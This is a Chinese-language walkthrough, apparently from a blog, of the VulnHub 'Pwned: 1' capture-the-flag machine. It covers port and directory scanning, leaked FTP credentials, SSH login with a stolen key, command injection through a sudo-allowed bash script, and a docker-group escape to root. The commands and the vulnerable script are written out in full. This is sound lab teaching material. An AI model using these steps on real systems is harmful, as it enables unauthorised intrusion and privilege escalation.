当前位置: 首页 > news >正文

vulnhub Pwned: 1

渗透思路:

nmap扫描端口 ---- gobuster扫描网站目录 ---- burp爆破网站目录 ---- 网站源代码泄露ftp用户名密码 ---- ariana用户用id_rsa进行ssh登录 ---- sudo bash脚本提权到selena ---- 利用docker提权到root

环境信息:

靶机:192.168.101.107

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sC -sV -p- 192.168.101.107

扫描到21(ftp)、22(ssh)、80(http)端口

2、gobuster扫描网站目录

gobuster dir -u http://192.168.101.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描到/nothing和/hidden_text

3、burp爆破网站目录

http://192.168.101.107/hidden_text/是一个目录,其中有一个文件secret.dic,看上去是个目录字典

http://192.168.101.107/hidden_text/secret.dic

用burp的intruder模块对网站目录进行爆破,爆破位置如下图所示

payload粘贴http://192.168.101.107/hidden_text/secret.dic中的内容

不要勾选URL-encode these characters

按Start attack开始爆破,爆破结果中只有/pwned.vuln状态码是301,其他都是404

4、网页源代码泄露ftp用户名密码

访问http://192.168.101.107/pwned.vuln/,是一个登录页面,查看网页源代码发现被注释掉的php代码

上图红框中的代码泄露了用户名为ftpuser,密码为B0ss_B!TcH

但这对用户名密码无法用于网站登录,因此想到尝试ftp登录

ftp 192.168.101.107

用户名和密码分别为ftpuser和B0ss_B!TcH,登录成功,发现share文件夹,进入share文件夹后发现两个文件:

id_rsa和note.txt

下载这两个文件

ftp> get note.txt
ftp> get id_rsa

5、ariana用户用id_rsa进行ssh登录

note.txt泄露了用户名ariana,可以猜测id_rsa属于ariana

ariana进行ssh登录

ssh -i id_rsa ariana@192.168.101.107

登录成功,得到第一个flag

6、sudo bash脚本提权到selena

执行sudo -l发现ariana可以在不需要输入密码的情况下以selena的身份sudo执行/home/messenger.sh

/home/messenger.sh内容如下,$msg(也就是提示符"Enter message for $name :"之后输入的内容)将被作为bash命令执行

#!/bin/bash

clear
echo "Welcome to linux.messenger "
		echo ""
users=$(cat /etc/passwd | grep home |  cut -d/ -f 3)
		echo ""
echo "$users"
		echo ""
read -p "Enter username to send message : " name 
		echo ""
read -p "Enter message for $name :" msg
		echo ""
echo "Sending message to $name "

$msg 2> /dev/null

		echo ""
echo "Message sent to $name :) "
		echo ""

sudo执行 /home/messenger.sh

sudo -u selena /home/messenger.sh

在提示"Enter username to send message : "后面随便输入些字母,然后在提示"Enter message for $name :"之后输入bash,即可进入selena的shell。

在/home/selena/user2.txt中有第二个flag

7、利用docker提权到root

同时注意到,selena是docker组的用户。

在docker | GTFOBins中可以看到,当用户属于docker组时,有运行docker的权限,从而可以利用docker提权到root

执行如下命令后即可获得root的shell

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

在/root/root.txt中有第三个flag

相关文章:

  • 深入理解Linux网络技术内 幕(二)——关键数据结构
  • 基于springboot,vue企业网盘系统
  • Dreamweaver:Dreamweaver软件的界面简介、安装、案例应用之详细攻略
  • Atlas数据治理
  • echarts拖动进度条,动态更新数据
  • MATLAB | MATLAB中绘图的奇淫技巧合集
  • 指针笔试题解析(4)
  • [Spring Boot 3] 整合NoSQL与构建RESTful服务
  • 基于非线规划算法的船舶能量调度
  • 二、PL/SQL 编程基础
  • NGINX源码之:ngx_open_cached_file
  • 【路径规划-机器人栅格地图】基于蚁群算法求解大规模栅格地图路径规划及避障附Matlab代码
  • SpringCache的介绍和使用
  • java-php-python-ssm艾灸减肥管理网站计算机毕业设计
  • 力扣每日一题2022-09-23中等题:设计链表
  • 2017年终总结、随想
  • Docker容器管理
  • echarts的各种常用效果展示
  • ES2017异步函数现已正式可用
  • ESLint简单操作
  • JavaScript异步流程控制的前世今生
  • Python3爬取英雄联盟英雄皮肤大图
  • quasar-framework cnodejs社区
  • react 代码优化(一) ——事件处理
  • SQL 难点解决:记录的引用
  • Vue实战(四)登录/注册页的实现
  • vue数据传递--我有特殊的实现技巧
  • WordPress 获取当前文章下的所有附件/获取指定ID文章的附件(图片、文件、视频)...
  • 从输入URL到页面加载发生了什么
  • 回顾 Swift 多平台移植进度 #2
  • 开发基于以太坊智能合约的DApp
  • 马上搞懂 GeoJSON
  • 前端工程化(Gulp、Webpack)-webpack
  • 收藏好这篇,别再只说“数据劫持”了
  • 限制Java线程池运行线程以及等待线程数量的策略
  • 一加3T解锁OEM、刷入TWRP、第三方ROM以及ROOT
  • ​插件化DPI在商用WIFI中的价值
  • ​中南建设2022年半年报“韧”字当头,经营性现金流持续为正​
  • (12)目标检测_SSD基于pytorch搭建代码
  • (2015)JS ES6 必知的十个 特性
  • (C#)一个最简单的链表类
  • (PWM呼吸灯)合泰开发板HT66F2390-----点灯大师
  • (备忘)Java Map 遍历
  • (附源码)计算机毕业设计ssm基于Internet快递柜管理系统
  • (深度全面解析)ChatGPT的重大更新给创业者带来了哪些红利机会
  • (十五)使用Nexus创建Maven私服
  • .bat批处理(五):遍历指定目录下资源文件并更新
  • .L0CK3D来袭:如何保护您的数据免受致命攻击
  • .NET 6 在已知拓扑路径的情况下使用 Dijkstra,A*算法搜索最短路径
  • .net framwork4.6操作MySQL报错Character set ‘utf8mb3‘ is not supported 解决方法
  • .net 简单实现MD5
  • .NET6 开发一个检查某些状态持续多长时间的类
  • .NET简谈互操作(五:基础知识之Dynamic平台调用)
  • .set 数据导入matlab,设置变量导入选项 - MATLAB setvaropts - MathWorks 中国
  • [] 与 [[]], -gt 与 > 的比较